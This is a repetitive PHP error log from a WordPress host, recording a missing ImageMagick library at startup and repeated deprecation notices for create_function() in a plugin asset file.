/home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [04-Jun-2023 22:58:06 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [04-Jun-2023 22:58:07 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [04-Jun-2023 22:58:48 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [04-Jun-2023 22:58:48 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [04-Jun-2023 22:58:57 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [04-Jun-2023 22:58:57 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [04-Jun-2023 22:59:38 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [04-Jun-2023 22:59:38 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [04-Jun-2023 23:00:04 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [04-Jun-2023 23:00:04 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [04-Jun-2023 23:00:45 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [04-Jun-2023 23:00:45 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [04-Jun-2023 23:00:57 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [04-Jun-2023 23:00:57 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [04-Jun-2023 23:02:09 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [04-Jun-2023 23:02:09 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [04-Jun-2023 23:02:24 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [04-Jun-2023 23:02:24 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [04-Jun-2023 23:03:46 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [04-Jun-2023 23:03:46 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [04-Jun-2023 23:04:11 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [04-Jun-2023 23:04:11 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [04-Jun-2023 23:04:43 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [04-Jun-2023 23:04:43 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [04-Jun-2023 23:04:59 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [04-Jun-2023 23:04:59 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [04-Jun-2023 23:05:26 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [04-Jun-2023 23:05:26 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [04-Jun-2023 23:05:40 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [04-Jun-2023 23:05:40 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [04-Jun-2023 23:05:52 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [04-Jun-2023 23:05:52 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [04-Jun-2023 23:06:20 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [04-Jun-2023 23:06:20 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [04-Jun-2023 23:06:33 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [04-Jun-2023 23:06:33 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [04-Jun-2023 23:06:46 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [04-Jun-2023 23:06:46 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [04-Jun-2023 23:07:32 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [04-Jun-2023 23:07:32 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [04-Jun-2023 23:07:55 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [04-Jun-2023 23:07:55 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [04-Jun-2023 23:08:10 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [04-Jun-2023 23:08:10 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [04-Jun-2023 23:12:03 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [04-Jun-2023 23:12:03 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [04-Jun-2023 23:57:56 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [04-Jun-2023 23:57:56 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [05-Jun-2023 00:58:25 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [05-Jun-2023 00:58:25 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [05-Jun-2023 01:58:42 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [05-Jun-2023 01:58:42 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [05-Jun-2023 02:59:33 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [05-Jun-2023 02:59:33 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [05-Jun-2023 04:00:21 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [05-Jun-2023 04:00:21 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [05-Jun-2023 04:58:38 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [05-Jun-2023 04:58:38 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [05-Jun-2023 04:59:39 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [05-Jun-2023 04:59:39 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [05-Jun-2023 05:01:06 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [05-Jun-2023 05:01:06 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [05-Jun-2023 05:01:12 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [05-Jun-2023 05:01:12 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [05-Jun-2023 05:01:59 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [05-Jun-2023 05:01:59 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [05-Jun-2023 05:03:03 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [05-Jun-2023 05:03:03 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [05-Jun-2023 05:03:46 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [05-Jun-2023 05:03:46 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [05-Jun-2023 05:04:45 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [05-Jun-2023 05:04:45 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [05-Jun-2023 05:05:26 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [05-Jun-2023 05:05:26 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [05-Jun-2023 05:05:44 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [05-Jun-2023 05:05:44 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [05-Jun-2023 05:06:27 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [05-Jun-2023 05:06:27 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [05-Jun-2023 05:06:47 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [05-Jun-2023 05:06:47 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [05-Jun-2023 05:07:42 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [05-Jun-2023 05:07:42 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [05-Jun-2023 05:08:32 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [05-Jun-2023 05:08:32 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [05-Jun-2023 05:14:07 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [05-Jun-2023 05:14:07 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [05-Jun-2023 05:14:30 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [05-Jun-2023 05:14:30 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [05-Jun-2023 05:15:14 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [05-Jun-2023 05:15:14 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [05-Jun-2023 05:15:37 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [05-Jun-2023 05:15:37 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [05-Jun-2023 05:16:14 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [05-Jun-2023 05:16:14 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php 